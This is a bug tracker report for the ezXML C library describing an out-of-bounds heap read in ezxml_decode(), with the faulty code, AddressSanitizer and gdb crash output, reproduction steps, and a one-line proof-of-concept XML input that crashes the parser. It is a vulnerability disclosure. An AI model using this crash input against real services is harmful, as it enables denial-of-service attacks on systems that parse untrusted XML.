ezXML Bugs

Status: Beta
Brought to you by: voisine

#29 Out-of-bounds read in ezxml_decode() leading to heap corruption

Milestone: v1.0_(example) **Status:** open **Owner:** nobody **Labels:** None
Priority: 5
Updated: 2022-04-28 **Created:** 2022-04-28 **Creator:** y4mrnie **Private:** No

Version 0.8.6 and CVEs that have been patched

Out-of-bounds read in strchr of ezxml_decode() [ezxml.c:198:25]

```
if (ent[b++]) { // found a match
                if ((c = strlen(ent[b])) - 1 > (e = strchr(s, ';')) - s) {
                    l = (d = (s - r)) + c + strlen(e); // new length
                    r = (r == m) ? strcpy(malloc(l), r) : realloc(r, l);
                    e = strchr((s = r + d), ';'); // out-of-bounds read
                }
```

May cause DOS attack

Crash Info

```
./ezxmltest ../poc/ezxml-poc.xml =========================================================
==2357578==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000021 at pc 0x0
READ of size 7 at 0x603000000021 thread T0
    #0 0x430ff3 in strchr (/home/migraine/下载/ezxml/ezxmltest+0x430ff3)
    #1 0x4cc6e7 in ezxml_decode /home/migraine/下载/ezxml/ezxml.c:198:25
    #2 0x4cdb26 in ezxml_char_content /home/migraine/下载/ezxml/ezxml.c:242:22
    #3 0x4d607b in ezxml_parse_str /home/migraine/下载/ezxml/ezxml.c:592:21
    #4 0x4d7d5d in ezxml_parse_fd /home/migraine/下载/ezxml/ezxml.c:642:30
    #5 0x4e0192 in ezxml_parse_file /home/migraine/下载/ezxml/ezxml.c:660:19
    #6 0x4e0192 in main /home/migraine/下载/ezxml/ezxml.c:1009:11
    #7 0x7fde60920564 in __libc_start_main csu/../csu/libc-start.c:332:16
    #8 0x41c33d in _start (/home/migraine/下载/ezxml/ezxmltest+0x41c33d)

0x603000000021 is located 0 bytes to the right of 17-byte region [0x603000000010,0x6030000000
allocated by thread T0 here:
    #0 0x49759d in malloc (/home/migraine/下载/ezxml/ezxmltest+0x49759d)
    #1 0x4cc683 in ezxml_decode /home/migraine/下载/ezxml/ezxml.c:197:43
    #2 0x4cdb26 in ezxml_char_content /home/migraine/下载/ezxml/ezxml.c:242:22
    #3 0x4d7d5d in ezxml_parse_fd /home/migraine/下载/ezxml/ezxml.c:642:30
    #4 0x4e0192 in ezxml_parse_file /home/migraine/下载/ezxml/ezxml.c:660:19
    #5 0x4e0192 in main /home/migraine/下载/ezxml/ezxml.c:1009:11

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/migraine/下载/ezxml/ezxmltest+0x430ff
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00[01]fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2357578==ABORTING
```

Turning off ASAN can still trigger a segment fault

```
$ gdb -q ./ezxmltest
(gdb) r ../ezxml-poc.xml
Starting program: /home/migraine/下载/poc/ezxml/ezxmltest ../ezxml-poc.xml
Program received signal SIGSEGV, Segmentation fault.
```

How to Crash

Download ezxml from https://sourceforge.net/p/ezxml

```
cd ezxml
AFL_USE_ASAN=1 make test CC=afl-clang CXX=afl-clang++  #compile with ASAN
or make test #compile normal
./ezxmltest ezxml-poc.xml
```

POC

ezxml-poc.xml

```
<e>&#xeeeeeeEeeeee1;&lt;</e>>>
```

1 Attachments

ezxml-poc.xml

Discussion

Log in to post a comment.